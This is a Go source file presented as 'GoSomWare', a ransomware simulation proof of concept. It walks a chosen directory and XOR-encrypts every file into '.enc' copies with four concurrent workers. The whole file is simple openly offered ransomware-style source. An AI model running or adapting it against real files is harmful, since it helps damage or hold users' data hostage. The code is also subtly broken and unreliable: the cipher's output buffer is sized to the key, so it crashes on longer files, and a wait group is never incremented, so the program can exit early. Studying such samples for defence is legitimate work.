main.go

package main

import (
	"fmt"
	"io/fs"
	"os"
	"path/filepath"
	"sync"
)

func encryptFile(filePath string, outfile string, key string) error {
	data, err := os.ReadFile(filePath)
	if err != nil {
		return fmt.Errorf("cannot read file %s: %v", filePath, err)
	}
	encryptedData := xorCipher(data, key)
	err = os.WriteFile(outfile, encryptedData, 0644)
	if err != nil {
		return fmt.Errorf("cannot write file %s: %v", outfile, err)
	}
	return nil
}

func xorCipher(data []byte, key string) []byte {
	if len(key) == 0 {
		return data
	}
	keyBytes := []byte(key)
	keyLen := len(keyBytes)
	result := make([]byte, len(key))
	for i := 0; i < len(data); i++ {
		result[i] = data[i] ^ keyBytes[i%keyLen]
	}
	return result
}

func walkDir(rootPath string, fileChan chan<- string, wg *sync.WaitGroup) {
	defer wg.Done()
	err := filepath.WalkDir(rootPath, func(path string, d fs.DirEntry, err error) error {
		if err != nil {
			return nil
		}
		if d.IsDir() {
			return nil
		}
		fileChan <- path
		return nil
	})
	if err != nil {
		fmt.Println("Error walk dir")
	}
}

func encrytFiles(id int, fileChan <-chan string, key string, wg *sync.WaitGroup) {

	for filePath := range fileChan {

		err := encryptFile(filePath, filePath+".enc", key)
		if err != nil {
			fmt.Printf("[WARN WORKER %d] Encrypt file %s failed %v\n", id, filePath, err)
		}
		fmt.Printf("[DONE] Encrypted file %s \n", filePath)
	}

}

func main() {
	fmt.Println("GoSomWare - Ransomware Simulation POC")
	if len(os.Args) < 3 {
		fmt.Println("usage gosomeware <key> <dir>")
		os.Exit(1)
	}
	key := os.Args[1]
	dir := os.Args[2]
	fileChan := make(chan string, 1000)
	var encryptWg sync.WaitGroup
	var walkFileWg sync.WaitGroup
	walkFileWg.Add(1)
	go func() {
		walkDir(dir, fileChan, &walkFileWg)
	}()
	for i := 0; i < 4; i++ {
		go encrytFiles(i, fileChan, key, &encryptWg)
	}
	walkFileWg.Wait()
	close(fileChan)
	encryptWg.Wait()
}